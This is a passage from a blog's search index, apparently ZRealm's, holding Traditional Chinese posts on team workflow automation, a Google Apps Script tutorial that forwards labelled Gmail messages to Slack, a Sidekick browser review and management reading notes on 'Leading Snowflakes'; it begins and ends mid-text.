顧名思義就像火車站一樣,每個版本都是一班列車如果錯過就要等下一班, 各個 Squad 團隊跟專案自己選擇要上車的時間這是一個很好的溝通介面,大家只要有共識並遵守規定就能有條不紊的更新版本。更多 Release Train 的技術細節可參考: Mobile release trains — Travelperk Agile Release Train Release Quality and Mobile Trains流程、日程確定後,我們就可以對每個階段做的事進行優化。像是打包正式版,傳統手動方式費時費力,從打包、上傳、送審整個流程大概要花 1 個小時,這時間內工作狀態要一直切換,很難做其他事;每次的打包都會重複這個過程,很浪費工作效率。既然我們已經固定日程了,這邊直接引入 Google Calendar,將預計日程要做的事加到行事曆上,時間到的時候會透過 Google Apps Script 去呼叫 Bitrise 執行 Fastlane 打包正式版和送審的腳本完成全部工作。使用 Google Calendar 串接還有個好處,如果遇到突發狀況需要延後、提早,直接上去更改日期即可。 Google Apps Script 若要直接在 Google Calendar 事件時間到時自動執行,目前只能自己 on 服務來做,如果要快速解決可以使用 IFTTT 做為 Google Calendar <-> Bitrise/Google Apps Script 的橋樑,做法可 參考此篇文章 。p.s. 1. 目前 Pinkoi iOS Team 是採用 Gitflow 工作流程。2. 原則上這個共識是所有團隊都要遵守,所以不希望有需求是打破這個規則的 (EX: 特別週三要上),但如果是與外部合作的項目,如果真的沒辦法還是要保持彈性,畢竟這個共識是團隊內的。3. HotFix 嚴重問題,是隨時可更新的,不受 Release Train 規範。這邊多提了 Google App Scripts 的應用,詳情可參考: 運用 Google Apps Script 轉發 Gmail 信件到 Slack 。最後一個是使用 Github Action 提升協作效率 (PR Review)。Github Action 是 Github 的 CI/CD 服務,可以直接與 Github 事件作綁定,觸發時機從 open issue、open pr 到 merge pr…等等都有。Github Action 只要是 Github 託管的 Git 專案都能使用,Public Repo 沒有限制,Private 每個月有 2,000 分鐘的免費額度可以用。這邊舉兩個功能: (左)是 PR Review 完之後會自動打上 reviewer name Label,讓我們能快速 summary pr review 的狀況。 (右)是每天會在固定時間整理&發送訊息到 Slack Channel,提醒隊友有哪些 PR 正在等待 Review( 仿造 Pull Reminders 的功能 )。Github Action 還有很多可以做的自動化項目,大家可以發揮想像。像是在開源專案常看到的 issue bot:fastlane / fastlane或自動關閉太久沒 Merge 的 pr 都能用 Github Action 來自動完成。Recap 自動化打包正式版的成效,一樣直接使用現有工具串接;除了 自動化之外還加入固定流程達到加倍提升工作效率原本除了手動打包時間,其實還有額外溝通上版時間的成本,現在直接歸 0;只要確保在時程內 上車 就可以把時間都專注在「討論」跟「開發」上。總計算一下這兩個自動化帶來的成效,一年可節省 216 工作時數。自動化加上前面提到的溝通介面,我們來看一下做這些事總共能提升多少效率。除了剛做的項目,我們還需要多評估 心流切換成本 ,當我們持續投入工作一段時間後就會進入「心流」狀態,此時的思緒、生產力都達到巔峰,能提供做好最有效的產出;但如果被無謂的事(EX: 多餘的溝通、重複性工作)打斷,要重新回到心流,又會再需要一段時間,這邊以 30 分鐘為例。被無謂的事打斷的心流切換成本也應該列入計算,這邊抓 30 分鐘每次,一個月發生 10 次,60 人一年就多浪費 3,600 小時。心流切換成本 (3,600) + 溝通介面不好的情況下多餘的溝通 (1,200) + 自動化解決的重複性工作 (216) = 一年多損失了 5,016 小時。原本浪費的工作時間,節省起來後可以投入其他更有價值的事,所以實際換成產能應該還要再 X 200%。 尤其隨著團隊規模不斷成長,對工作效率的影響也隨之放大。 早優化早享受,晚優化沒折扣!!Recap 高效率工作團隊的內幕,我們主要做了什麼事。 No Code/Low Code First 優先選擇現有工具串接(如本篇範例)如果沒有現有工具可用再來評估投入自動化的成本,跟實際節省的收入。關於文化的支持在 Pinkoi 人人都可以是解決問題的領導者對於問題的解決,事情的改變;絕大多數都需要很多很多團隊一起努力才有可能更好,這部分就很需要公司文化的支持鼓勵,不然只有自已在推動會非常辛苦。 在 Pinkoi 人人都可以是解決問題的領導者,不一定要是 Lead or PM 才能解決問題,前面介紹的溝通介面、工具或自動化項目很多都是隊友發現問題,提出解法,大家一起努力完成的。關於團隊文化是如何支持推動改變的,解決問題的四個階段都可以連結到 Pinkoi 的 Core Values。第一步 Grow Beyond Yesterday 好還要更好,如果有發現問題,不管是大小,前面有說到隨團隊規模成長,小問題也會有放大效果 調查、歸納問題,避免過早優化(有的問題可能只是暫時過渡而已)再來是 Build Partnerships 積極的溝通各面向蒐集建議 保持換位思考(因為有的問題可能是對方的最佳解,要做好權衡)第三步 Impact Beyond Your Role 發揮自身影響力 提出問題解決計畫 如果跟重複工作有關則優先使用自動化方案 記得保持彈性跟可擴充性,避免 Over Engineering最後 Dare to Fail! 勇敢實踐 持續追蹤、動態調整解決方案 取得成功後,記得與團隊分享成果,以促成跨部門資源整合 (因為同個問題可能同時存在在多個部門)以上是 Pinkoi 高效率工程團隊大解密的分享,謝謝大家。立即加入 Pinkoi >>> https://www.pinkoi.com/about/careers有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "運用 Google Apps Script 轉發 Gmail 信件到 Slack", "url": "/posts/d414bdbdb8c9/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, google-apps-script, cicd, slack, workflow-automation", "date": "2021-08-07 20:19:49 +0800", "snippet": "運用 Google Apps Script 轉發 Gmail 信件到 Slack使用 Gmail Filter + Google Apps Script 在收到信件時自動將客製化內容轉寄至 Slack ChannelPhoto by Lukas Blazek起源最近在優化 iOS App CI/CD 的流程,使用 Fastlane 作為自動化工具;打包上傳後如果要繼續完成自動送審步驟 ( s...", "content": "運用 Google Apps Script 轉發 Gmail 信件到 Slack使用 Gmail Filter + Google Apps Script 在收到信件時自動將客製化內容轉寄至 Slack ChannelPhoto by Lukas Blazek起源最近在優化 iOS App CI/CD 的流程,使用 Fastlane 作為自動化工具;打包上傳後如果要繼續完成自動送審步驟 ( skip_submission=false ),就需要等蘋果完成 Process 大概需要浪費 30~40 mins 的 CI Server 時間,因為蘋果 App Store Connect API 並不完善,Fastlane 也只能每分鐘去檢查一次上傳的 Build 是否處理完成,非常浪費資源。 Bitrise CI Server: 限制同時 Builds 數量及最大執行時間 90 mins,90 mins 是夠,但會卡著一條 Build 阻礙其他人執行。 Travis CI Server: 依照 Build Time 收費,這樣更不能等了,錢直接打水漂。換個思路不等了,上傳完直接結束!靠處理完成的信件通知觸發後續動作。 不過最近我都沒收到這封信了,不知道是設定問題還是蘋果不再發此類通知。本文將以 Testflight 已經可以開始測試的信件通知為例。 完整流程如上圖所示,原理上可行;但不是本文要討論的重點,本文將著重在收到信件、使用 Apps Script 轉發至 Slack Channel 部分。如何轉發收到的 Email 到 Slack Channel不管是付費或是免費的 Slack 專案都能使用不同方法達成 Email 轉發到 Slack Channel or DM 功能。可參考官方文件進行設置: 傳送電子郵件至 Slack不管哪種方法效果都如下: 預設摺疊信件內容,點擊後可以展開查看全部內容。優點: 簡單快速 零技術門檻 即時轉送缺點: 無法對內容進行客製 顯示樣式無法更改客製轉發內容就是本篇要介紹的重點。將信件內容資料轉譯成自己想呈現的樣式,如上圖範例。先上一張完整運作流程圖: 使用 Gmail Filter 對要轉發信件加上辨識 Label Apps Script 定時獲取被標記成該 Label 的信件 讀取信件內容 渲然成想要的顯示樣式 透過 Slack Bot API 或直接用 Incoming Message 發送訊息到 Slack 移除信件 Label (代表已轉發) 完成首先,要在 Gmail 中建立篩選器篩選器可以在收到符合條件信件時自動化做一些事,例如:自動標記已讀、自動標記 Tag、自動移入垃圾郵件、自動歸入分類…等等操作在 Gmail 點擊右上進階搜尋圖標按鈕,輸入要轉發的信件規則條件,例如來自: no_reply@email.apple.com + 主題是 is now available to test. ,點擊「Search」查看篩選結果是否如預期;如果正確可以點擊 Search 旁的「Create filter」按鈕。或直接在信件裡上方點 Filter message like these 就能快速建立篩選條件 這按鈕設計很反人類,第一次找一直沒看到。下一步設定符合此篩選條件是的動作,這邊我們選「Apply the label」建立一個獨立新辨識用 Label 「forward-to-slack」,點擊「Create filter」完成。爾後被標上這個 Label 的信都會被轉發到 Slack。取得 Incoming WebHooks App URL首先我們要加入 Incoming WebHooks App 到 Slack Channel,我們會透過此媒介來傳送訊息。 Slack 左下角「Apps」->「Add apps」 右邊搜尋匡搜尋「incoming」 點擊「Incoming WebHooks」->「Add」選擇訊息想要傳到的 Channel。記下最上方的「Webhook URL」往下滑可設定傳送訊息時,傳送 Bot 顯示的名稱及大頭貼;改完記得按「Save Settings」。 備註 請注意官方建議使用新的 Slack APP Bot API 的 chat.postMessage 來傳送訊息,Incoming Webhook 簡便的這個方式之後會棄用,這邊偷懶沒有使用,可搭配下一章「匯入員工名單」會需要 Slack App API 一起調整成新方法。撰寫 Apps Script 程式 點此前往我的 Apps Script 專案 點選左上「新專案」 建立後,可點擊專案名稱重新命名 EX: ForwardEmailsToSlack貼上以下基本程式並修改成你想要的版本:function sendMessageToSlack(content) { var payload = { \"text\": \"*您收到一封信件*\", \"attachments\": [{ \"pretext\": \"信件內容如下:\", \"text\": content, } ] }; var res = UrlFetchApp.fetch('貼上你的Slack incoming Webhook URL',{ method : 'post', contentType : 'application/json', payload : JSON.stringify(payload) })}function forwardEmailsToSlack() { // 參考自:https://gist.github.com/andrewmwilson/5cab8367dc63d87d9aa5 var label = GmailApp.getUserLabelByName('forward-to-slack'); var messages = []; var threads = label.getThreads(); if (threads == null) { return; } for (var i = 0; i < threads.length; i++) { messages = messages.concat(threads[i].getMessages()) } for (var i = 0; i < messages.length; i++) { var message = messages[i]; Logger.log(message); var output = '*New Email*'; output += '\\n*from:* ' + message.getFrom(); output += '\\n*to:* ' + message.getTo(); output += '\\n*cc:* ' + message.getCc(); output += '\\n*date:* ' + message.getDate(); output += '\\n*subject:* ' + message.getSubject(); output += '\\n*body:* ' + message.getPlainBody(); sendMessageToSlack(output); } label.removeFromThreads(threads);}進階: Slack 訊息樣式可參考這份官方結構文件 。 你可以使用 Javascript 的 Regex Match Function,對信件內容進行匹配爬取。EX:爬取 Testflight 審核成功信件內的版本號資訊:信件標題:Your app XXX has been approved for beta testing.信件內容:我們想得到 Bundle Version Short String 還有 Build Number 後面的值 。var results = subject.match(/(Bundle Version Short String: ){1}(\\S+){1}[\\S\\s]*(Build Number: ){1}(\\S+){1}/);if (results == null || results.length != 5) { // not vaild} else { var version = results[2]; var build = results[4];}output:version = 3.37.0build = 2 Regex 使用方法可參考這裡 線上測試 Regex 是否正確可使用 此網站執行看看 回到 Gmail 隨便找一封信,手動幫他加上 Label — 「forward-to-slack」 在 Apps Script 程式碼編輯器上選擇「forwardEmailsToSlack」然後點擊「執行」按鈕若出現 「Authorization Required」則點選「Continue」完成驗證在身份驗證的過程中會出現「Google hasn’t verified this app」這是正常的,因為我們寫的 App Script 沒有經過 Google 驗證,不過沒關係這是寫給自己用的。可點選左下角「Advanced」->「Go to ForwardEmailsToSlack (unsafe)」點擊「Allow」轉發成功!!!設置觸發器(排程)自動檢查&轉發在 Apps Script 左方選單列,選擇「觸發條件」。左下角「+ 新增觸發條件」。 錯誤通知設定:可設定當腳本執行遇到錯誤時,該如何通知你 選擇您要執行的功能:選擇 Main Function sendMessageToSlack 選取活動來源:可選擇來自日曆或是時間驅動(定時或指定) 選取時間型觸發條件類型:可選特定日期執行或每分/時/日/週/月執行一次 選取分/時/日/週/月間隔:EX: 每分鐘、每 15 分鐘… 這邊為了示範設定成每分鐘執行一次,我覺得信件的即時程度可以設每小時檢查一次就好。 再次回到 Gmail 隨便找一封信,手動幫他加上 Label — 「forward-to-slack」 等待排程觸發自動檢查&轉發成功!完工藉由此功能便能達成客製化信件轉發處理,甚至是再當成觸發器使用,例如:收到 XXX 信時自動執行某腳本。回到第一章起源,我們便可以使用此機制,完善 CI/CD 流程;不需要呆呆等待蘋果完成處理,又能串上自動化流程!===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "生產力工具 拋棄 Chrome 投入 Sidekick 瀏覽器的懷抱", "url": "/posts/118e924a1477/", "categories": "ZRealm, Life.", "tags": "sidekick, chrome, chromium, browsers, 生活", "date": "2021-08-07 13:06:43 +0800", "snippet": "[生產力工具] 拋棄 Chrome 投入 Sidekick 瀏覽器的懷抱Sidekick 瀏覽器功能介紹&使用心得前言知道 Sidekick 瀏覽器是來自同事的分享;老實說一開始並沒有抱太大期待,其實這幾年一直都有拋棄 Chrome 的念頭,改用過 Safari、搶先體驗版的 Safari、Firefox、Opera、基於開源核心開發的第三方瀏覽器,但屢屢失敗,幾乎用不了幾天就又認錯裝回 C...", "content": "[生產力工具] 拋棄 Chrome 投入 Sidekick 瀏覽器的懷抱Sidekick 瀏覽器功能介紹&使用心得前言知道 Sidekick 瀏覽器是來自同事的分享;老實說一開始並沒有抱太大期待,其實這幾年一直都有拋棄 Chrome 的念頭,改用過 Safari、搶先體驗版的 Safari、Firefox、Opera、基於開源核心開發的第三方瀏覽器,但屢屢失敗,幾乎用不了幾天就又認錯裝回 Chrome,另外一個原因是自己並沒有很積極的 Follow 瀏覽器市場,也許早就有符合我需求的瀏覽器,只是我不知道罷了。失敗原因主要原因是我常用的擴充功能不能完全支援,太依賴也太習慣 Chrome 的擴充功能了,其次就算是 Chromium 核心能無痛支援但功能方面並沒有特別亮點,跟用 Google Chrome 體驗差不多。我的需求 Chromium 核心,因為要支援我常用的擴充功能 有更多特色功能,幫助提升生產力 支援 MacOS,iOS 我習慣用 Safari 所以不要求支援跨裝置 優秀的記憶體管理 加強隱私反追蹤 無痛轉移功能關於生產力功能,其實 Chrome 擴充功能有上千萬的工具可以用,自己搜尋、組合起來也能達到效果;但是我們沒做過研究調查,老實說不太清楚什麼流程跟功能是對生產力有幫助的。關於 Sidekick 開發團隊:Sidekick 新創團隊創立於 2020/11 @ San-Francisco / 募資中 瀏覽器核心:Chromium 當前階段:early access 核心價值: 專為工作流程優化,提升生產力的瀏覽器 支援平台:Windows、Mac OS、Mac OS (M1)、Linux (deb)、Linux (rpm) 擴充功能:支援所有 Chrome Store 擴充功能 (bitwarden、lastpass 、1password、grammarly、google translate…) 官方網站: www.meetsidekick.com馬上下載使用 點此進入官方網站 點擊「Download Now」 選擇符合自己作業系統的版本 下載&完成安裝 開啟 Sidekick映入眼簾的是 Sidekick 介紹頁,點擊上方「Continue」繼續。使用 Google、Microsoft 或直接建立 Sidekick 帳號;這個帳號是 for Sidekick 服務的帳號,與 Google、Microsoft 無關。⬇️⬇️⬇️ 如果你是從 Chrome 要轉換到 Sidekick, 請先閱讀完本章節再繼續建立帳號 ⬇️⬇️⬇️ 跟 Chrome 不同 Chrome 安裝完的登入帳號就是直接綁定、同步 Google 帳號上的瀏覽器資料; 你會發現 Sidekick 這步登入完帳號什麼資料也沒進來,原因是 Google 目前封鎖所有第三方服務存取同步功能 ,所以 Sidekick 無法直接透過帳號做同步、匯入資料。人員資料部分也不能同步 Google 的帳號資訊Sidekick 同步設定,只有可憐的搜尋字詞同步那要如何匯入 Chrome 資料呢?官方給的方法非常繞路,但目前也只能這樣。如果你本來就是 Chrome 的使用者可以跳過 1~3 步驟。 下載&安裝 Chrome 登入 Chrome 完成同步 Google 帳號上的瀏覽器資料到 Chrome 完全關閉 Chrome ( ! 重要 !,MacOS 用戶請確認 Dock 上 Chrome Icon 下面沒有小點點) 繼續前一步的建立帳號 第一次建立完帳號,會問你要從哪個瀏覽器匯入資料 選擇 Chrome 等待匯入完成匯入完成後,所有書籤、瀏覽紀錄、已存密碼、已登入的網站 Session、擴充功能,都會無痛搬移到 Sidekick 上;只有少部分服務需要重新登入,其他都不用,等於無痛轉移! 這邊有個小問題,就是如果非建立新帳號(EX: 重裝)就只能書籤、瀏覽紀錄、已存密碼;擴充功能無法自動匯入, 查官方 Q&A 只得到自己從 Chrome extension / app store 重裝 。同步問題?既然 Google 封鎖第三方存取雲端資料,那如何解決書籤跨裝置同步問題呢?Sidekick 近期將會釋出 Sidekick Sync 解決這個問題 。 本文使用的是我個人電腦,非辦公用;所以會夾雜社群娛樂網站,敬請見諒。特色功能無痛轉移如同前文安裝步驟,第一次安裝打開、建立帳號登入後;可以無痛從現有的 Safari、Chrome、Edge 無痛轉移所有書籤、瀏覽紀錄、已存密碼、已登入的網站 Session、擴充功能。已登入的網站 Session、擴充功能我覺得是體驗最好的,以往的瀏覽器都只做書籤的轉移,但所有網站都要重新登入、所有擴充功能都要重新安裝,非常的消耗耐心。強大的首頁功能與 Chrome 單調的首頁不同也不需要花心力去找首頁解決方案,Sidekick 自帶精美又方便的首頁功能。 搜尋匡可搜尋 瀏覽紀錄、書籤,若無搜尋結果則自動變 Google 搜尋 左上方數據化顯示反追蹤、記憶體管理、反廣告狀況 顯示今日日期、現在時間 上方我們稱為 Tab,左側工具列上方稱為 Application 首頁背景圖可客製化,或自動展示風景圖Application 功能不只是網站的快速入口, 使用起來類似 MacOS 的 Dock,Application 網站啟用時會常駐在瀏覽器上(左方有小點點)但同時又會做好記憶體管理;啟用狀態下如果網站有通知會標記數字提醒。Application 可以快速從首頁加入,也可以從 Tab 建立或手動輸入網址、ICON 圖片加入。Sidekick 已內建了上百個生產力工具網站,可快速加入 Application。 如果從首頁加入 Application 後沒出現在左方 Sidebar 可以自行拖曳過去。在 Application 按右鍵可快速查看最近瀏覽、另外也支援多帳號切換。 多帳號切換支援的網站不太多,不支援只能先用 Private Mode (無痕模式);目前測試 Slack、Notion 都支援。 左方 Application 與上方 Tab 互不影響,Application 區塊是獨立的不會出現在上方 Tab。每個 App 都可個別進行設定,例如關閉通知、關閉 Badge 等等。視窗分割功能雖然 MacOS 自帶視窗分割功能,但我其實很少使用;除非是想要完全進入專注狀態,更多時候的需求是要同步對照網頁內容+使用其他 MacOS App 做事,這時候純瀏覽器的分割視窗功能就很實用!例如,這樣就可以邊上線上課&做筆記。中間分隔大小可以自由拖曳調整。使用方法,只要點擊瀏覽器右上角的分割視窗按鈕,選擇要加入左方的視窗即可,再點一次就會關閉分割。Spotlight 功能類似 MacOS 的 Spotlight,在任何視窗都能按下「Option」+「f」做全瀏覽器搜尋。 可以使用「Option」+「z」或「Control」+「tab」進行 Tab 的快速切換 「Option」+「1–9」快速切換位置 1~9 的TabTab Saver (Save Sessions) 功能同 Chrome 上很流行的 Tab Saver 擴充功能,能快速儲存目前已打開的 Tab 網頁,並且能在其中做切換,方便我們管理工作的不同狀態。點擊左下角的「F」(First Session) 即可進入 Session 管理頁面。點擊上方「Add new session」可以將目前 Tab 狀態儲存下來,開啟全新乾淨的瀏覽環境。可以在 Session 之間切換,點擊「Activate」即可恢復 Tab。 Session 不會影響到左邊啟用中的 Application。 可以使用快捷鍵「Option」+「W」快速進行 Session 切換 「Option」+「⬆️」+「W」進行 Session 管理優秀的 Application 通知功能實際上現在開始,只要有提供 Web 版的通訊服務,都可以直接使用 Sidekick Application 不需特別安裝電腦應用程式;前文有提到 Application 的通知功能就如同電腦應用程式,一樣即時完整。 記得授權 Sidekick 發送電腦端通知;這樣網頁的通知才會在電腦端跳出來提示。筆記功能內建整合 Google Keep 雲端筆記功能,點擊左下方文件 Icon 可快速開啟 Google Keep 做筆記。Google Keep 儲存於雲端 Google 帳號,支援跨平台跨裝置的筆記同步存取。可以使用這個功能快速紀錄事項。 不太確定日後會不會改成自家的 Sidekick Sync,畢竟這樣才有優化整合的空間。 可以使用快捷鍵「Option」+「N」快速進行 Session 切換內建反追蹤反廣告、記憶體管理功能隱私浪潮的來襲,各大企業漸漸開始注重用戶隱私,以 Apple 為最主要領導者,在新版 Safari 中也開始內建隱私保護功能;但作為隱私資訊的最大獲利者 Google 廣告,我想應該很難在 Google Chrome 上看到改變。 Chromium != Chrome,Chromium 是瀏覽器技術核心的開源專案。雖然 Chromium 也是由 Google 主導,但他開源自由原始碼的特性;讓任何開發者都能基於此核心進行優化;Sidekick 也是運用此方法在 Chromium 基礎上進行優化,能同時保留 Chrome 的特點但又能加強 Chrome 缺少的功能。細節 如果是雙螢幕使用者,同樣可以把 Tab 拉成獨立視窗;獨立視窗就不會有左方的工具列。 支援所有 Chrome 擴充功能,可直接到商城下載安裝 更多功能等你來探索體驗!費用 「企業不賺錢是種罪惡 (你不賺錢,是對社會的罪惡,因為我們拿社會的資金,取社會的人才,沒有充足的盈餘,我們在浪費社會可貴資源,這些資源可以在別處更有效地運用。)」- Panasonic 創辦人 — 松下幸之助 (文字參考自商業思維學院)一個好的產品要能有好的現金流,才能提供更好的服務也才能走得更久;以下是 Sidekick 的收費內容:以個人使用來說免費方案啜啜有餘,但如果有能力就不妨贊助一下開發團隊吧! 目前加入的使用者都是屬於 Early access 方案,貌似不受 Free 方案影響(我 Sidebar apps 超過 5 個也沒事)。 現在邀請 10 位使用者 6 個月 Pro / 邀請 20 位使用者終身 Pro 的方案;所以喜歡本文的朋友可以透過 文內連結進行下載安裝,支持我也支持 Sidekick!使用心得總結這陣子使用下來,因為無痛轉移的緣故;已經完全捨棄 Chrome,也沒有什麼東西是一定要回去用 Chrome 開的,最好用的還是左方的 Applications,可以將工作上常用的網站加入在左方,快速切換處理&取得最新通知。以往都會迷失在混亂的 Tab 中,或只能使用 Pin Tab 方式把固定重要的工作服務 Pin 在前面;但在切換的時候還是很痛苦,要去尋找。現在我要做 Code Review 時就點 Github、要送審 App 時就點 App Store Connect、要看專案時就點 Asana,工作起來很有效率。記憶體管理的部分,沒有特別做研究測試;不太確定優化效果,但有總比沒有好。 唯一隱憂是這個產品還太新,不太確定能走多遠;如果因為經營不善可能就會停止開發維護了;那會非常可惜!所以請大家大力推廣支持!===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "Leading Snowflakes 閱讀筆記", "url": "/posts/1c9eafd4a190/", "categories": "菜鳥學管理", "tags": "management, leadership, engineering, 管理學, 工程師", "date": "2021-07-25 15:44:20 +0800", "snippet": "Leading Snowflakes — 閱讀筆記“Leading Snowflakes The Engineering Manager Handbook” — Oren Ellenbogen管理職,初來乍到,一切都很迷茫;對於管理的知識只有彙整之前的工作經驗、觀察或與其他同事閒聊時獲得,知道主管做了什麼事底下的人是正面的、什麼事是負面的;也就大概只有這些經驗想法,知識是破碎的,沒有一個有系...", "content": "Leading Snowflakes — 閱讀筆記“Leading Snowflakes The Engineering Manager Handbook” — Oren Ellenbogen管理職,初來乍到,一切都很迷茫;對於管理的知識只有彙整之前的工作經驗、觀察或與其他同事閒聊時獲得,知道主管做了什麼事底下的人是正面的、什麼事是負面的;也就大概只有這些經驗想法,知識是破碎的,沒有一個有系統理念,於是我開始看書,開始記錄一下每個作者的經驗;如果遇到相同的事物,有了「知識底氣」之後就不會在手忙腳亂了。Leading Snowflakes 語言:英文 作者:Oren Ellenbogen 出版年份:2013 官方網站 感謝 海總理 推薦作者在過去近 20 年的工作經歷中,從原本的軟體工程師一步步踏入管理職;擔任過不管是大公司或新創公司之 Technical Lead、Engineering Manager;本書詳細點出從工程師踏入管理職時會遇到的瓶頸及該用什麼方法整理、解決。我覺得與我的背景非常相似,都是本來做軟體開發,初探管理職;藉由書中提到的重點讓我學到很多可以怎麼做的方法! - 本文僅為個人筆記夾雜些許個人觀點,在這資訊碎片化的年代,強烈建議要自行閱讀過原文書,才能有系統的吸收精髓。 - 筆記的意義是之後回頭來看,比較容易快速定位到想複習的點。 - 部分內容直接摘錄原文。Lesson 1. — Switch between “Manager” and “Maker” modes從工程師(Maker)到管理者(Manager)的過渡。完成好任務甚至優雅地解決難題是優秀的工程師的衡量標準,但做為管理者以不是用完成任務的能力來衡量,這部分我們已經證明過了,而是以帶領、推動、提升能力的團隊目標作為評斷標準。但也不能完全將自己從任務中抽離,完全與任務細節抽量導致與團隊成員斷開連結,對於執行成果、優先權、信任方面長期來看會有很大的風險。所以不是說當管理者就不用做工程師的事,而是兩邊都要碰,需要的就在 工程師(Maker) 跟 管理者(Manager) 之中取得平衡。做為工程師時我們喜歡有連續不被打斷的時間讓我們保持在 Context 中去解決困難的問題;但做為管理者時,我們需要的是時常跳出來幫助團隊、關心隊友,所以被打斷其實是管理者的工作之一。但我們同時需要身兼工程師和管理者,那該如何是好?作者建議建立兩個 Calendar ,一個是 as Maker (工程師)、一個是 as Manager (管理者),然後每日一大早給自己 15 – 30 分鐘整理思緒,安排本日行事曆,該做什麼事、有什麼會、有哪些空檔的連續時間點可以拿來解決任務(as Maker)。作者的行事曆範本我們也需要專心的時間作者所述,現在身為管理者,但我們仍需同時處理任務;可利用的空檔專注時間對我們來說比以前更重要。作者提到,可以在需要專心的時間透過一些動作傳達給隊友,暫時不要打擾我!方法有:到會議室、戴上耳機、或甚至買一個 ON AIR ! 的開關燈放桌上。如果不是緊急問題,可以先請隊友留言或彙整資訊寄信給你,等到專心時間結束後再來處理。評估自己做為工程師的時間能解決的任務因為已經不像以前純當工程師(Maker)的時候可以全心全力灌注在開發需求上,所以要依照工程師行事曆所能運用的時間來選擇能親自執行的任務。不要成為團隊的技術瓶頸,我們的任務是提升團隊能力、探索新技術、提升公司對外或隊內的技術視野;可做的事有預先研究技術問題,然後與隊友分享並交由隊友執行、解決公司技術債、流程問題增加開發效率、使用新技術、將公司技術開源、開放 API、對外黑客松…等等。最重要的還是平衡作者建議可以從 15–20% 比例開始調配,本來是 100% as Maker,現在可能是 20% as Maker / 80% as Manager(但這要看實際團隊大小及成員能力,作者也說 50% / 50% 也有可能),就是不能在是 100% 投入工程開發,要多花心力在管理上。善用 1:1定期與隊友 1:1,互相 Feedback 並分享所學到的東西。如果管理者的任務吃掉你所有時間作者最後提到,如果你管理的任務太多完全無法做工程 (as Maker)的事,與任務、技術脫節時,可以考慮每週選幾天 WFH 與公司隔離或參加黑客松。Lesson 2. — Code Review” Your Management Decisions定期 Review 你身為管理者下的決策。身為工程師時我們有很多方法或工具,只要遵循就能提升好能力,諸如 pair programming、code review、design pattern;但做為管理者,尤其菜鳥我們感到相當孤獨。我們不想承認對上或對下一無所知、害怕為團隊成功負責也擔心沒拿捏好技術(債)與商業需求之間的平衡。作者提到要跨出去尋找提升管理能力的,公開徵求 Feedback & 提高管理技能的方法;做管理者時也能像做工程師時的熱情。記錄&回頭審查決定同事與老闆都是我們很常低估的強大資源,我們可以快速的從同事與老闆的 Feedback 中學習;建立好紀錄&回頭審查決定的習慣,可以讓我們更好的得到 Feedback。作者提到: 「There is no one right way, there are only tradeoffs.」我想也是,如果不是進退兩難的問題應該也不會問你;如果問你就代表隊友不知道該如何決定。我們可以列出選項並提供決定給隊友,但與此同時也要記下所做的決定。作者提供的紀錄 Sheet 範本養成紀錄的習慣,並且要確保內容是之後能回憶的。作者建議,每個月回頭審查,可以與老闆或其他管理者或其他同事分享討論決策(至少要分享一半的問題),聽聽別人的看法;可以匿名保護當事者,對事不對人,並記錄下來。回頭審查時的要點關於問題: 引起多少技術問題? 是個人問題? 只是某個成員的獨立問題?(是不是單純只是他不了解目標?) 這問題在其他團隊或會重複出現嗎?關於決策: 這問題真的需要管理者來決定嗎 有沒有問過隊友的建議 有沒有其他比較有經驗的人能提供建議 現在重新思考,還會是同個決定嗎?Lesson 3. — Confront and challenge your teammates推動隊友跳脫舒適圈以及不讓自己變成混蛋跟陷入陷阱。作者提到一開始很不習慣,因為本來是朋友的同事現在變成部署;他害怕會傷害本來的關係;所以一昧地承擔所有收尾的事,但最後他發現他越是保護越與隊友距離越遠,因為他一而再的埋頭苦幹,少了分享讓隊友失去信念。回頭來看,作者說與其害怕傷害隊友的感覺不如說出內心真實所想的,「害怕傷害隊友」這單純是自己自私的想像,沒有必要;而且這是身為管理者的責任,帶領團隊成長前進;要遠觀大局、控制風險。分享真實想法對雙方都很難,但這是身為管理者的責任。我們要展現同理心而不是同情心,為了讓他們的工作真正出類拔萃,他們需要我們客觀的意見。作者提供以下三個要項讓我們能在情緒與行爲中做出平衡: 我有展現出同理心嗎? 我有清楚說明我的期待嗎? 我有以身作則嗎? 「If you want to achieve anything in this world, you have to get used to the idea that not everyone will like you.」 如果你想要有所成就,就必須習慣不會每個人都喜歡你的想法四個常見的陷阱: 相較於掩蓋,我有公開分享失敗經驗嗎?(可以是寫文章、寄信給所有人) 忘記統整討論結果(要習慣紀錄 1:1、討論的結果) 使用錯誤的 Feedback 媒介,沒得到真正的問題(依照團隊文化找到適合的 Feedback 渠道,EX: 1:1) 不即時的 Feedback我們需要注意,工程師喜歡挑戰自我、提升技能,同時也想要獲得尊重、主管的 Feedback;我們的任務就是帶領團隊成長,所以在每次有 Feedback 機會時不應該拖延,因為不做決定也等同於做決定;而且一旦 Feedback 的風氣衰弱之後要再點燃就更困難。Summary可以花時間寫下激勵隊友的方法及詢問主管是否太保護隊友?Lesson 4. — Teach how to get things done如何以風險較低的方式完成任務。以身作則是不錯的方法,時不時參與團隊的開發示範如何計畫、產出好的功能展現我們想傳達的理念;另外要注意,在這其中要多説 Why? (為何這樣做)、少說 How? (該怎麼做)作者提到極度透明的文化,讓團隊成員有完整的 Context 能提高推動決策的能力。降低風險 為了降低產出的風險,作者建議將需求拆成許多小塊迭代功能;並將此想法與其他 Team 溝通分享。 Scale and performance — always have a backup plan這功能會不會影響效能(或造成其他問題)?可以提前知道嗎?有沒有備案(開關);在沒有備案之前寧可不要實作,因為會影響團隊信心。 將任務拆解成小任務,降低 Deadline 風險一開始可能很難,但可以訓練學習 善用同儕壓力將任務拆給隊友共同協作,彼此共同努力(Code Review 亦也是) 持續對內及對外溝通對內:確保期望、同步、Deadline、資源,對外:溝通、如果時間很趕了可推掉不重要會議 支援、修 Bug、文件不是釋出功能就好,還要做好客服支援、修 Bug、還有文件 做好回顧及委派任務,提供其他人領導機會 挑選幾個能以身作則的 Task 詢問隊友學到的東西、能讓他更積極的動機、討厭的事Lesson 5. — Delegate tasks without losing quality or 